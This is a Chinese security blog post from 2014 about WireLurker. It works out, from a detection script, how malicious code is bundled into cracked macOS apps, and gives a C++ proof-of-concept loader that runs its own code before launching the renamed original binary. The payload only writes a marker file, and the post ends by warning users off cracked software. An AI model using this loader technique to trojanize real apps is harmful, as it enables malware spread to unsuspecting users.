【WireLurker的提示】MacOS恶意APP捆绑方式猜测与实

  • A+
所属分类:WooYun-Zone

疯狗【WireLurker的提示】MacOS恶意APP捆绑方式猜测与实 (阅尽天下漏洞,心中自然无码。) 【WireLurker的提示】MacOS恶意APP捆绑方式猜测与实 | 2014-11-07 10:36

昨天因为WireLurker,导致MacHook以及国内几个第三方APP下载站火了,Mac下的黑色产业链也逐渐浮现在公众视线。其实我本人一直比较怀疑第三方APP下载站提供的APP安全性,是否有类似EXE捆绑方式寄生在破解APP上的恶意程序,是不是很高级很难实现的patch技术?这些都不得而知。

但昨天WireLurker被媒体曝光后,有人给出了一段自查脚本引起了我的注意,WireLurkerDetector

特别是其中这个函数
def is_app_infected(root):
    try:
        pl = plistlib.readPlist(os.path.join(root, 'Contents', 'Info.plist'))
        be = pl['CFBundleExecutable']
        bundle_exec = os.path.join(root, 'Contents', 'MacOS', be)
        bundle_exec_ = bundle_exec + '_'
        if is_file_hidden(bundle_exec) and is_file_hidden(bundle_exec_):
            return True

        the_script = os.path.join(root, 'Contents', 'Resources', 'start.sh')
        print the_script
        the_pack = os.path.join(root, 'Contents', 'Resources', 'FontMap1.cfg')
        if is_file_hidden(the_script) and is_file_hidden(the_pack):
            return True

        return False

    except Exception:
        return False

一般人会觉得这就是个检查文件隐藏属性的功能而已,但白帽子的直觉告诉我这正是WireLurker所使用的“寄生”技巧,关键的代码就在上半部分:
pl = plistlib.readPlist(os.path.join(root, 'Contents', 'Info.plist'))
        be = pl['CFBundleExecutable']  -->  获取执行文件名
        bundle_exec = os.path.join(root, 'Contents', 'MacOS', be)
        bundle_exec_ = bundle_exec + '_'  -->  检查带有下划线的文件名干嘛,莫非是有个恶意的loader?

Mac用户都知道,其实OS X下的APP就是一个特殊的文件夹,有个APP的后缀,目录结构大概是这样:
_CodeSignature, CodeResources  ->  APP数字签名,防篡改等
Info.plist  ->  APP初始初始信息
Frameworks  ->  第三方的库程序
MacOS  -> 可执行程序目录(就是“App”的本体程序,一个或多个)
PkgInfo  ->  创建者签名
Resources  ->  程序资源目录

其中Info.plist里面的CFBundleExecutable键值记录了默认执行的程序名称,比如我本地一个小型16进制编辑软件(0xED)的就是
【WireLurker的提示】MacOS恶意APP捆绑方式猜测与实
你说懂了,直接修改这里指向恶意程序就好了,其实也没那么容易,那样太明显了直接引起用户怀疑,如何实现既注入了恶意代码,又能正常运行程序呢?就是前面我提到的loader方式,执行完恶意程序后在启动正常的APP,天衣无缝。因为没有WireLurker的样本,只能黑箱重现,用Xcode简单做了个Demo。
#include <fstream>
#include <iostream>
#include <unistd.h>

using namespace std;

int main()
{
    char s[1024];
    char a[7] = "/0xED_";  //真正的Mac App实体
    getcwd(s, 1024);
    //std::cout << s;
    strcat(s,a);
    
    ofstream out("/tmp/Hacked.txt");
        out << s << endl;
    out.close();

    //其实上面做了很多就是想自动获取当前APP目录,但最终居然是空值,所以。。。偷懒啦
    system( "/Applications/0xED.app/Contents/MacOS/0xED_" );
    return 0;
}

没运行APP前
➜  /tmp  $ ls -l /tmp/*.txt  
zsh: no matches found: /tmp/*.txt

运行APP后,APP正确执行
【WireLurker的提示】MacOS恶意APP捆绑方式猜测与实
进程图
【WireLurker的提示】MacOS恶意APP捆绑方式猜测与实

最后将整个APP目录打包至DMG文件,发布到第三方下载站去吧。

PS:以上是最简单的也是人人都能实现的恶意程序捆绑方法,所以经常下破解App的伙伴谨慎些吧,制造/二次打包恶意APP成本非常的低,就像越狱后的iPhone样,使用破解就代表你主动放弃了OS一些合法APP的校验与保护,无论系统怎样提示挽救你,最终你还是会执行他。

分享到: